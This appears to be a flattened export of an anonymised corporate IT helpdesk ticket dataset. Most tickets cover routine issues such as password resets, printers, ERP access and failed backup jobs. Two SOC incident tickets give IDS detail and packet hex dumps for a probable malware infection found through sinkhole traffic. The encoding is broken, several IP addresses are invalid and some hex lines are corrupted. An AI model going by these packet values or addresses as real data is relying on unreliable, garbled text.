[src ip: 195.22.28.222][dst ip: 71.58.38.9639][sport/itype: 80][dport/icode: 51547][proto: 6]\_x000D\_
09/19/2016-02:13:00.144214 195.22.28.222:80 -> 71.58.38.9639:51547\_x000D\_
tcp ttl:49 tos:0x0 id:15452 iplen:20 dgmlen:391 df\_x000D\_
\*\*\*ap\*\*\* seq: 0x7da4b41b ack: 0x836645ee win: 0x68b0 tcplen: 20\_x000D\_
==pcap 1==\_x000D\_
\_x000D\_
\_x000D\_
[ex http\_uri 9: /domain/newflv.sohu.ccgslb.net]\_x000D\_
\_x000D\_
[ex http\_hostname 10: sso.anbtr.com]\_x000D\_
\_x000D\_
[o:security]\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
==pcap 1 ascii s==\_x000D\_
.....i.wv3..........e...<\@.1........,.e.p.[}....fe.p.h.....http/1.1.302.moved.temporarily..server:.nginx..date:.mon,.19.sep.2016.02:13:00.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=3b22f0eec4487da1ac8019caac1283a4;.domain=.ccgslb.net..location:.\_x000D\_
==pcap 1 ascii e==\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
==pcap 1 hex s==\_x000D\_
000000 0c00 0000 ac49 df57 5633 0200 8701 0000 .....i.wv3......\_x000D\_
000010 8701 0000 4500 0187 3c5c 4000 3106 0bb0 ....e...<\@.1...\_x000D\_
000020 c316 1cde 0a2c 1645 0050 c95b 7da4 b41b .....,.e.p.[}...\_x000D\_
000030 8366 45ee 5018 68b0 bfb0 0000 4854 5450 .fe.p.h.....http\_x000D\_
000040 2f31 2e31 2033 3032 204d 6f76 6564 2054 /1.1.302.moved.t\_x000D\_
000050 656d 706f 7261 7269 6c79 0d0a 5365 7276 emporarily..serv\_x000D\_
000060 6572 3a20 6e67 696e 780d 0a44 6174 653a er:.nginx..date:\_x000D\_
000070 204d 6f6e 2c20 3139 2053 6570 2032 3031 .mon,.19.sep.201\_x000D\_
000080 3620 3032 3a31 333a 3030 2047 4d54 0d0a 6.02:13:00.gmt..\_x000D\_
000090 436f 6e74 656e 742d 5479 7065 3a20 7465 content-type:.te\_x000D\_
0000a0 7874 2f68 746d 6c0d 0a43 6f6e 6e65 6374 xt/html..connect\_x000D\_
0000b0 696f 6e3a 2063 6c6f 7365 0d0a 5365 742d ion:.close..set-\_x000D\_
0000c0 436f 6f6b 6965 3a20 616e 6274 723d 3362 cookie:.anbtr=3b\_x000D\_
0000d0 3232 6630 6565 6334 3438 3764 6131 6163 22f0eec4487da1ac\_x000D\_
0000e0 3830 3139 6361 6163 3132 3833 6134 3b20 8019caac1283a4;.\_x000D\_
0000f0 646f 6SID\_26 696e 3d2e 6363 6773 6c62 2e6e domain=.ccgslb.n\_x000D\_
000100 6574 0d0a 4c6f 6361 7469 6f6e 3a20 6874 et..location:.ht\_x000D\_
000110 7470 3a2f 2f78 7373 6f2e 6e65 7766 6c76 tp://xsso.newflv\_x000D\_
000120 2e73 6f68 752e 6363 6773 6c62 2e6e 6574 .sohu.ccgslb.net\_x000D\_
000130 2f33 6232 3266 3065 6563 3434 3837 6461 /3b22f0eec4487da\_x000D\_
000140 3161 6338 3031 3963 6161 6331 3238 336sartlgeo lhqksbdxac8019caac1283a\_x000D\_
000150 340d 0a0d 0a47 6f20 6874 7470 3a2f 2f78 4....go.\_x000D\_
000160 7373 6f2e 6e65 7766 6c76 2e73 6f68 752e sso.newflv.sohu.\_x000D\_
000170 6363 6773 6c62 2e6e 6574 2f33 6232 3266 ccgslb.net/3b22f\_x000D\_
000180 3065 6563 3434 3837 6461 3161 6338 3031 0eec4487da1ac801\_x000D\_
000190 3963 6161 6331 3238 3361 34 9caac1283a4\_x000D\_
==pcap 1 hex e==, is assigned to Assignment group: GRP\_2.Ticket with Short description: access point company\_ita\_company\_milano\_ap05 is down, Description: ip 83.43.63.0179\_x000D\_
blue light blinking\_x000D\_
does not permit connection\_x000D\_
\_x000D\_
could you please check ?, is assigned to Assignment group: GRP\_4.Ticket with Short description: t&d inwarehouse\_tool 0512678028 - pricing error, Description: hi,\_x000D\_
\_x000D\_
please refer below mail from branch & attached t&d inwarehouse\_tool of plant\_61. the inwarehouse\_tool has picked the total basic value as rs.2,40,991.50 & the excise duty has got charged & paid accordingly, instead of correct total basic value of rs.1,40,000.00, (70,000 x 2) as per previous inwarehouse\_tool#0512508978/07.04.16. kindly find & fix the problem for future inwarehouse\_tool to capture the correct total basic value to avoid paying higher excise duty. \_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( #in33809307 ) : possible malware infection - traffic from sinkhole domain to android-13849fa3, Description: source ip :195.22.28.222
system name :android-13849fa3e9c2e1e3
user name:unknown
location :unknown
sep , sms status :
field sales user ( yes / no) :
dsw event log:
==================================================================================================
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incident overview
=========================
we are seeing your 10.16.4.16/isensor04.company.com device generating '52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset' alerts for traffic (not blocked) from port 80/tcp of 195.22.28.222 to port 55372/tcp of your android-13849fa3e9c2e1e3/12.90.42.78296 device indicating that the host is most likely infected with malware.
this return traffic indicates that android-13849fa3e9c2e1e3/12.90.42.78296 has most likely attempted to visit a domain name which is being sinkholed. dns sinkholes are dns servers that give out false information in order to prevent the use of the domain for which ip address resolution has been requested. sinkhole traffic is a possible indicator of an infected computer that is reaching out to a controller that has been taken over by a law enforcement or research organization as part of a malware mitigation effort. traffic to a sinkhole should be examined for characteristics of automated activity. in some cases, an administrator may be curious about a particular domain and browse to it, triggering the signature. repeated automated requests to a sinkhole, however, are a clear indication of a malware infection.
we are escalating this incident to you via a high priority ticket per our default escalation policies. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at
1) ticket only escalation for sinkhole domain alerts (explicit notification via a medium priority ticket (no phone call))
2) auto-resolve sinkhole domain alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)
sincerely,
soc
=========================
technical details
=========================
the domain name system (dns) is a hierarchical naming system for any resource connected to the internet or a private network which has the primary purpose of associating various information with domain names assigned to each of the participating entities. it is primarily used for translating domain names to the numerirtcal ip addresses for the purpose of locating service and devices on a network.
the domain name system distributes the responsibility of assigning domain names and mapping those names to ip addresses by designating authoritative name servers for each domain. authoritative name servers are assigned to be responsible for their supported domains, and may delegate authority over subdomains to other name servers. the domain name system also specifies the technical functionality of this database service. it defines the dns protocol, a detailed specification of the data structures and data communication exchanges used in dns, as part of the internet protocol suite.
dns sinkholes are dns servers that give out incorrect information in order to prevent the use of the domain name for which ip address resolution is being attempted. when a client requests to resolve the address of a sinkholed hole or domain, the sinkhole returns a non-routable address or any address except for the real address. this germanytially denies the client a connection to the target host. using this method, compromised clients can easily be found using sinkhole logs. another method of detecting compromised hosts is during operations in which servers being used for c2 (command and control) purposes are taken over by law enforcement as part of a malware mitigation effort. traffic to a sinkhole should be examined for characteristics of automated activity. in some cases, an administrator may be curious about a particular domain and browse to it, triggering the signature. repeated automated requests to a sinkhole are a clear indication of infection by a trojan of some sort.
connections to sinkholes may seem somewhat benign, but the ramdntyifications certainly include information leakage to some extent. although sinkhole operators are unlikely to use any personally identifiable information they may capture from a trojan's communication, it may become public knowledge that "company x is infected with y", which may lead to reputational damage.
additionally, some sinkholes are feeding ip addresses of victims to beshryulists, which may impede access to certain services, like sending email. finally, some trojans may connect to multiple controller domains/hostnames, and even though some of them may be sinkholed, there may be others that are not, leading to the possibility of remote code execution or information leakage to malicious parties in some cases.
=========================
references
=========================
=========================
event data
=========================
related events:
event id: 84221656
event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset
occurrence count: 1
event count: 1
host and connection information
source ip: 195.22.28.222
source port: 80
source ip geolocation: lisbon, prt
destination ip: 12.90.42.78296
destination hostname: android-13849fa3e9c2e1e3
destination port: 55372
destination mac address: 84:38:38:49:8e:8c
connection directionality: incoming
protocol: tcp
http status code: 302
device information
device ip: 10.16.4.16
device name: isensor04.company.com
log time: 2016-09-19 at 13:16:54 utc
action: not blocked
vendor eventid: 792629
cvss score: -1
vendor priority: 2
vendor version: 7
scwx event processing information
sherlock rule id (sle): 699417
inspector event id: 637489392
ontology id: 200020003203755736
event type id: 200020003203582148
agent id: 102823
event detail:
[\*\*] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [\*\*]
[classification: none] [priority: 2] [action: accept] [impact\_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1]
[sensor id: 602983][event id: 792629][time: 2585302125.450357]
[src ip: 195.22.28.222][dst ip: 12.90.42.78296][sport/itype: 80][dport/icode: 55372][proto: 6]
09/19/2016-13:16:54.450357 195.22.28.222:80 -> 12.90.42.78296:55372
tcp ttl:55 tos:0x0 id:18690 iplen:20 dgmlen:395 df
\*\*\*ap\*\*\* seq: 0x207261f ack: 0x6acc8edd win: 0x35 tcplen: 32
tcp options (3) => nop nop ts: 4851788645 6722888
==pcap 1==
[o:security]
[correlation\_data]
sep 19 09:16:17 60.43.89.120 dhcpd[31183]: dhcpack on 12.90.42.78296 to 84:38:38:49:8e:8c (android-13849fa3e9c2e1e3) via eth2 relay 97.65.25.820 lease-duration 604800 (renew)
ascii packet(s):
==pcap 1 ascii s==
....f..w5...........e...i.@.7............p.l..&.j......5..........5..u..http/1.1.302.moved.temporarily..server:.nginx..date:.mon,.19.sep.2016.13:16:54.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=b3dc36813a835f65e5f206184225e1f3;.domain=.allinvest.us..location:.
==pcap 1 ascii e==
hex packet(s):
==pcap 1 hex s==
000000 0c00 0000 46e5 df57 35df 0600 8b01 0000 ....f..w5.......
000010 8b01 0000 4500 018b 4902 4000 3706 fea2 ....e...i.@.7...
000020 c316 1cde 0a10 10c4 0050 d84c 0207 261f .........p.l..&.
000030 6acc 8edd 8018 0035 ca7f 0000 0101 080a j......5........
000040 def6 359e 0055 a101 4854 5450 2f31 2e31 ..5..u..http/1.1
000050 2033 3032 204d 6f76 6564 2054 656d 706f .302.moved.tempo
000060 7261 7269 6c79 0d0a 5365 7276 6572 3a20 rarily..server:.
000070 6e67 696e 780d 0a44 6174 653a 204d 6f6e nginx..date:.mon
000080 2c20 3139 2053 6570 2032 3031 3620 3133 ,.19.sep.2016.13
000090 3a31 363a 3534 2047 4d54 0d0a 436f 6e74 :16:54.gmt..cont
0000a0 656e 742d 5479 7065 3a20 7465 7874 2f68 ent-type:.text/h
0000b0 746d 6c0d 0a43 6f6e 6e65 6374 696f 6e3a tml..connection:
0000c0 2063 6c6f 7365 0d0a 5365 742d 436f 6f6b .close..set-cook
0000d0 6965 3a20 616e 6274 723d 6233 6463 3336 ie:.anbtr=b3dc36
0000e0 3831 3361 3833 3566 3635 6535 6631 3935 813a835f65e5f195
0000f0 3037 3331 3134 6531 6633 3b20 646f 6SID\_26 073114e1f3;.doma
000100 696e 3d2e 616c 6c69 6e76 6573 742e 7573 in=.allinvest.us
000110 0d0a 4c6f 6361 7469 6f6e 3a20 6874 7470 ..location:.http
000120 3a2f 2f78 7373 6f2e 6865 6c70 2e61 6c6c ://xsso.help.all
000130 696e 7665 7374 2e75 732f 6233 6463 3336 invest.us/b3dc36
000140 3831 3361 3833 3566 3635 6535 6631 3935 813a835f65e5f195
000150 3037 3331 3134 6531 6633 0d0a 0d0a 476f 073114e1f3....go
000160 2068 7474 703a 2f2f 7873 736f 2e68 656c .
000170 702e 616c 6c69 6e76 6573 742e 7573 2f62 p.allinvest.us/b
000180 3364 6333 3638 3133 6138 3335 6636 3565 3dc36813a835f65e
000190 3566 3139 3530 3733 3131 3465 3166 33 5f206184225e1f3
==pcap 1 hex e==, is assigned to Assignment group: GRP\_2.Ticket with Short description: user switzerlandim blocked in netweaver, Description: \_x000D\_
\_x000D\_
received from: vogtfyne.isugmpcn@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
please unlock netweaver access for user switzerlandim â€“ marftgytin switzerlandik.\_x000D\_
i reinstalled the application, now it reports too many failed logins\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: please install ms visio std on the clients pc, Description: please install ms visio std on the clients pc, is assigned to Assignment group: GRP\_3.Ticket with Short description: reset passwords for dwfiykeo argtxmvcumar using password\_management\_tool password reset., Description: i have been locked out of SID\_39, client 120 function specifically for the crm system. i made one attempt at entering my password and i received: "password logon no longer possible - too many failed attempts"., is assigned to Assignment group: GRP\_17.Ticket with Short description: software request - visio, Description: need visio installed on my laptop., is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to connect to skype , Description: unable to connect to skype , is assigned to Assignment group: GRP\_0.Ticket with Short description: connection issues with secomea site manager, Description: well i have fighting with this all week. our suppliers technical department has been helping also.\_x000D\_
\_x000D\_
just to refresh your memory we are having trouble connecting secomea site managers to the secomea cloud.\_x000D\_
\_x000D\_
history:\_x000D\_
\_x000D\_
i configured a total of five secomea site mangers and i uacyltoe hxgaycze them as each one is complete\_x000D\_
the first two worked, and still work fine\_x000D\_
the third one started dropping off of the cloud and wont connect at all now\_x000D\_
units four and five wont connect at all and never did\_x000D\_
\_x000D\_
i tried unit three at building one and twoâ€¦no luck\_x000D\_
\_x000D\_
i took unit three home and connected it to my routerâ€¦it connects and i can see it on the gate manager!\_x000D\_
\_x000D\_
we use these in every machine we build so i'm asking for help from company's it department and some direction. \_x000D\_
i realize it might not be familiar with this product so i have attached a simple troubleshooting guide from secomea.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: kein zugriff auf zeiterfassung und sonstiges netzwerk, Description: kein zugriff auf zeiterfassung und sonstiges netzwerk /spdczoth vajtodny, is assigned to Assignment group: GRP\_24.Ticket with Short description: outlook does not start., Description: outlook does not start., is assigned to Assignment group: GRP\_0.Ticket with Short description: vfx3 billing errors, Description: please see the attached screen print for vfx3 billing errors for 0612893276 and 0612893277, both of which state: foreign trade data incomplete. the billing document will not create., is assigned to Assignment group: GRP\_13.Ticket with Short description: mobile device activation, Description: mobile device activation, is assigned to Assignment group: GRP\_0.Ticket with Short description: power supply issue for pwr8hmc1.hq.company.com.. , Description: power supply issue for pwr8hmc1.hq.company.com.. , is assigned to Assignment group: GRP\_8.Ticket with Short description: issue with symantec endpoint protection, Description: i have 4 warning messages on my symantec endpoint protection icon on my taskbar. please see the attached document showing these messages., is assigned to Assignment group: GRP\_50.Ticket with Short description: trying to get the status of ticket number ticket\_no0438372, Description: name:erirtc
language:
browser:microsoft internet explorer
email:ntsowaem.jfgslyde@gmail.com
customer number:
telephone:
summary:trying to get the status of ticket number ticket\_no1549483?, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account lockout, Description: windows account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to mobile broadband , Description: unable to connect to mobile broadband , is assigned to Assignment group: GRP\_0.Ticket with Short description: monitor not working., Description: monitor not working., is assigned to Assignment group: GRP\_3.Ticket with Short description: need mouse replacement , Description: need mouse replacement \_x000D\_
ltcw7406044, is assigned to Assignment group: GRP\_3.Ticket with Short description: maus funktioniert nicht mehr richtig. bitte ersetzen., Description: maus funktioniert nicht mehr richtig. bitte ersetzen. /howfanzi siavgtby, is assigned to Assignment group: GRP\_24.Ticket with Short description: brauche eine neue funktionierende maus., Description: brauche eine neue funktionierende maus. /tkhaymqg cwuqzyvm, is assigned to Assignment group: GRP\_24.Ticket with Short description: unable to load outlook due to crm, Description: unable to load outlook due to crm, is assigned to Assignment group: GRP\_0.Ticket with Short description: smart phone issue, Description: my iphone 6 now has a reduced ear speaker(?). when speaking to an individual, i can not hear them with any volume. very faint. i must use the speaker phone, which makes the call non-secure. can the phone be repaired or can i replace it?, is assigned to Assignment group: GRP\_0.Ticket with Short description: keine anmeldung auf skype mÃ¶glich, Description: keine anmeldung auf skype mÃ¶glich /vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: employee owned mobility agreement, Description: \_x000D\_
\_x000D\_
received from: clzwduvj.keflinbj@gmail.com\_x000D\_
\_x000D\_
hello it support team,\_x000D\_
\_x000D\_
please release the device as per attached form as an employee owned mobile device. the corresponding form is attached.\_x000D\_
for the moment i am using the outlook app.\_x000D\_
\_x000D\_
hello joftgost,\_x000D\_
\_x000D\_
please approve the form in return by mail.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: no response from caller, Description: no response from caller, is assigned to Assignment group: GRP\_0.Ticket with Short description: i need to know the members in lhqftphfm\*, Description: i need to know the members in lhqftphfm\*. could you please provide it in an excel file format, is assigned to Assignment group: GRP\_2.Ticket with Short description: account locked out on bex, Description: account locked out on bex, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook is not working . i've updated the sp 2 but .. nothing, Description: outlook is not working . i've updated the sp 2 but .. nothing, is assigned to Assignment group: GRP\_0.Ticket with Short description: please setup printers dg04 and dg08 on HostName\_837 with x64 print drivers, Description: please setup printers dg04 and dg08 on HostName\_837 with x64 print drivers, is assigned to Assignment group: GRP\_12.Ticket with Short description: printer's won't update their driver, Description: i cannot print at all the status of the printers i have mapped to are all "need driver update". however, when i try to update the driver it will not update it, but quits half way through the installation. , is assigned to Assignment group: GRP\_0.Ticket with Short description: printer problem (reroute) / issue information, Description: hi team, \_x000D\_
\_x000D\_
\_x000D\_
could you please route the all files print pa07 hp m4555 (ip: 79.67.01.6592) to: plant\_248 hp m600 (61.01.52.0266).\_x000D\_
\_x000D\_
note: pa07 have a problem hardware\_x000D\_
if you have more doubts, please contact me.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_8.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: tonerpatrone em01 / germany alle, Description: \_x000D\_
\_x000D\_
received from: yzodcxkn.zyewibop@gmail.com\_x000D\_
\_x000D\_
bitte toner an em01 prÃ¼fen und ersetzen\_x000D\_
\_x000D\_
freundlicher gruÃŸ / best , is assigned to Assignment group: GRP\_42.Ticket with Short description: bitte guest wifi fuer gastronomie fuer eine jahr einrichten, Description: bitte guest wifi fuer gastronomie fuer eine jahr einrichten, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update - inplant\_859150, Description: ticket update - inplant\_859150, is assigned to Assignment group: GRP\_0.Ticket with Short description: password\_management\_tool account unlock, Description: password\_management\_tool account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_577\_dr4100 failed in job\_scheduler at: 09/19/2016 06:19:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_577\_dr4100 failed in job\_scheduler at: 09/19/2016 06:19:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_575 failed in job\_scheduler at: 09/19/2016 06:16:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_575 failed in job\_scheduler at: 09/19/2016 06:16:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: unable to received incoming email, Description: hi it team
kindly please assist, user kassiaryu unable to received incoming email.
pc name: aswl8912729.
hydstheud mddwwyleh
operation supervisor
company distribution services of asia pte ltd
email : rxoynvgi.ntgdsehl@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_29
enter user id of user having the issue: mahapthysk, ngyht2
transaction code(s) the user needs or was working with: we05
describe the issue: no authorization to open employee idoc
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: job bkbackup\_tool\_sql\_prod\_inc failed in job\_scheduler at: 09/19/2016 05:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_sql\_prod\_inc failed in job\_scheduler at: 09/19/2016 05:38:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to loginto skype, Description: unable to loginto skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: need assistance - cannot login to engineering tool web application after password change, Description: need assistance - cannot login to engineering tool web application after password change, is assigned to Assignment group: GRP\_28.Ticket with Short description: add user maghtyion cnjkeko (cekomthyr) to active directory group eagcutview, Description: add user maghtyion cnjkeko (cekomthyr) to active directory group eagcutview, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3181 failed in job\_scheduler at: 09/19/2016 05:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3181 failed in job\_scheduler at: 09/19/2016 05:00:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_459 failed in job\_scheduler at: 09/19/2016 04:51:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_459 failed in job\_scheduler at: 09/19/2016 04:51:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: network problems (multiple applications are running slow), Description: hi manjgtiry,\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_499 failed in job\_scheduler at: 09/19/2016 04:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_499 failed in job\_scheduler at: 09/19/2016 04:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_465 failed in job\_scheduler at: 09/19/2016 04:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_465 failed in job\_scheduler at: 09/19/2016 04:33:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bwhrattr failed in job\_scheduler at: 09/19/2016 04:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrattr failed in job\_scheduler at: 09/19/2016 04:25:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: pls help to create delivery note for sto 4908128350, Description: \_x000D\_
\_x000D\_
received from: gjtyswkb.dpvaymxr@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
would you pls help to create delivery note for sto 5019239461,it's urgent for plant\_305,for something error we unable to create, , is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 09/19/2016 04:07:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
[critical] from: bda-net@lhqSID\_1839.company.company.com "lhqSID\_1839.company.company.com [/f]" time: 9/19/2016 3:33:53 am\_x000D\_
ipc failure reading net message (ipc read error\_x000D\_
system error: [10054] connection reset by peer\_x000D\_
) => aborting.\_x000D\_
\_x000D\_
backup statistics:\_x000D\_
\_x000D\_
session queuing time (hours) 0.00 \_x000D\_
------------------------------------------- \_x000D\_
completed disk agents ........ 35 \_x000D\_
failed disk agents ........... 3 \_x000D\_
aborted disk agents .......... 0 \_x000D\_
------------------------------------------- \_x000D\_
disk agents total ........... 38 \_x000D\_
=========================================== \_x000D\_
completed media agents ....... 1 \_x000D\_
failed media agents .......... 0 \_x000D\_
aborted media agents ......... 0 \_x000D\_
------------------------------------------- \_x000D\_
media agents total .......... 1 \_x000D\_
=========================================== \_x000D\_
mbytes total ................. 499365 mb \_x000D\_
used media total ............. 1 \_x000D\_
disk agent errors total ...... 4 \_x000D\_
\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 09/19/2016 04:07:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: cannot create engineering tool task for er, , Description: cannot create engineering tool task for er, please help to deal with.
any problems, contact gaop<scievjwr.cdlsvoif@gmail.com>
t , is assigned to Assignment group: GRP\_25.Ticket with Short description: erp systems are slow in plant, Description: erp systems are slow in plant
all erp users in plant
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2: access to company guest from 19 september to 1 october 2016, Description:
received from: sbgvrncj.idfhtoqv@gmail.com
hello,
please usa the following consultants from attendance\_tool access to company guest for 2 weeks from 19 september to 1 october.
roshyario.mcfaullfhry@attendance\_tool.com<mailto:roshyario.mcfaullfhry@attendance\_tool.com> (roshyario mcfaullfhry)
ssofgrtymerset@attendance\_tool.com<mailto:ssofgrtymerset@attendance\_tool.com> (sarhfa ssofgrtymerset)
josefghph.hughdthes@attendance\_tool.com<mailto:josefghph.hughdthes@attendance\_tool.com> (josefghph hughdthes)
jofgyst.langytge@attendance\_tool.com<mailto:jofgyst.langytge@attendance\_tool.com> (jofgyst langytge)
please confirm when done.
many , is assigned to Assignment group: GRP\_0.Ticket with Short description: network problems (multiple applications are running slow), Description: how did you determine there are network problems ?\_x000D\_
\_x000D\_
is only erp slow ? (please use the quick ticket within the erp folder if only erp is running slow)\_x000D\_
\_x000D\_
are more than one transactions impacted?\_x000D\_
\_x000D\_
what erp server are you on (server name is located in the status bar at the bottom \_x000D\_
right of your screen) ?\_x000D\_
\_x000D\_
do other co-workers also notice slow response times in erp ?\_x000D\_
\_x000D\_
what other applications are running slow ? \_x000D\_
\_x000D\_
can you access your data files on the server ?\_x000D\_
\_x000D\_
any other comments or issues with other systems ?, is assigned to Assignment group: GRP\_14.Ticket with Short description: laptop speakers not working. mic not working during skype concall, Description: head set input jack no longer ask questions during plug in, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to skype , Description: unable to login to skype
m , is assigned to Assignment group: GRP\_19.Ticket with Short description: infotype 17 has been deleted for huge number of travelers in germany in SID\_34, Description: we are facing huge issues that german travelers cannot enter their expenses in erp SID\_34, because their infotype 17 does not exist again. we have to create it manually for each of them which is relly time consuming. some of them don't even know who to contact when the error comes up. \_x000D\_
what happened? why was the infotype deleted? can it be re-created automatically somehow? \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: HostName\_894 : volume: c:\ label:sys-HostName\_894 28385a7b is over 85% space consumed. space available: 4.6 g, Description: HostName\_894 : volume: c:\ label:sys-HostName\_894 28385a7b is over 85% space consumed. space available: 4.6 g, is assigned to Assignment group: GRP\_39.Ticket with Short description: apusm00 : volume: f:\ label:dat2-HostName\_53 d4e35b72 is over 85% space consumed. space available: 0.98 m, Description: apusm00 : volume: f:\ label:dat2-HostName\_53 d4e35b72 is over 85% space consumed. space available: 0.98 m, is assigned to Assignment group: GRP\_12.Ticket with Short description: network problems (multiple applications are running slow), Description: how did you determine there are network problems ?\_x000D\_
\_x000D\_
is only erp slow ? (please use the quick ticket within the erp folder if only erp is running slow)\_x000D\_
\_x000D\_
are more than one transactions impacted?\_x000D\_
\_x000D\_
what erp server are you on (server name is located in the status bar at the bottom \_x000D\_
right of your screen) ?\_x000D\_
\_x000D\_
do other co-workers also notice slow response times in erp ?\_x000D\_
\_x000D\_
what other applications are running slow ? \_x000D\_
\_x000D\_
can you access your data files on the server ?\_x000D\_
\_x000D\_
any other comments or issues with other systems ?, is assigned to Assignment group: GRP\_0.Ticket with Short description: connection to finance\_app data base, Description: \_x000D\_
\_x000D\_
received from: naisdxtk.mqzvewsb@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i receive the following error message when i try to open finance\_app â€“ plant monthly book. could you please check?\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35259.57ca22e0]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ssen / kind , is assigned to Assignment group: GRP\_55.Ticket with Short description: ä¼ çœŸæœºä¸æ¸…æ¥š, Description: to å°è´ºï¼šä¼ çœŸæœºä¼ çœŸå‡ºæ¥æœ‰å¾ˆç²—çš„é»‘è‰²å¢¨è¿¹ï¼Œè¯·å¸®å¿™æŸ¥çœ‹ä¸€ä¸‹ï¼Œè°¢è°¢, is assigned to Assignment group: GRP\_30.Ticket with Short description: accout locked , Description: accout locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook is prompting for password again and again , Description: outlook is prompting for password again and again , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_21 and SID\_1 not working , Description: erp SID\_21 and SID\_1 not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: need erp access to the stated roles, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_21 & SID\_33
enter user id of user having the issue: gthydanp
transaction code(s) the user needs or was working with:
describe the issue: need access to the stated roles
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.
provide access the same as this other user: manjuvghy, is assigned to Assignment group: GRP\_2.Ticket with Short description: collaboration\_platform issues, Description: \_x000D\_
\_x000D\_
received from: lwizucan.zvnxlobq@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
last week i setup collaboration\_platform, and after start shatryung, my collaboration\_platform didn't recognize me as owner so that i couldn't make any action.\_x000D\_
today i started collaboration\_platform again, and now it is telling me that it couldn't connect to the server, while the vpn connection was established.\_x000D\_
\_x000D\_
hope you can help me fixing those issues?\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35250.d48f7220]\_x000D\_
\_x000D\_
met vriendelijke groet,\_x000D\_
\_x000D\_
lwizucan zvnxlobq\_x000D\_
directeur company benelthyux\_x000D\_
lwizucan.zvnxlobq@gmail.com<mailto:lwizucan.zvnxlobq@gmail.com>\_x000D\_
m +31 6 57 84 21 40\_x000D\_
t +31 800 4433 201\_x000D\_
f +31 800 3500 107\_x000D\_
\_x000D\_
company nederland bv | wim duisenbergplantsoen 31 | 6221 se maastricht | www.company.com<\_x000D\_
company nederland bv | postbus 982 | 6200 az maastricht\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
